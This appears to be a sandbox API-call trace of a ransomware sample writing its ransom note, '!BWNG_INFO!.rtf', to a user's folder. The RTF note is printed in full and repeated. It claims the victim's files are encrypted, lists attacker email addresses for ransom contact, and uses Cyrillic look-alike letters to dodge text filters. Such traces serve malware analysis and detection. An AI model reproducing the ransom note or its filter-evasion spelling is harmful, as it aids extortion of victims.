w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x94'\x14\x11/=w\x1e¾\x18¾£þ(\x84Q\x11A\nç\x0c\x8aLW˱\r²\x11\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0036.260] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0036.269] CloseHandle (hObject=0x1ac) returned 1 [0036.269] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\!bwng_info!.rtf")) returned 0xffffffff [0036.269] GetLastError () returned 0x2 [0036.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 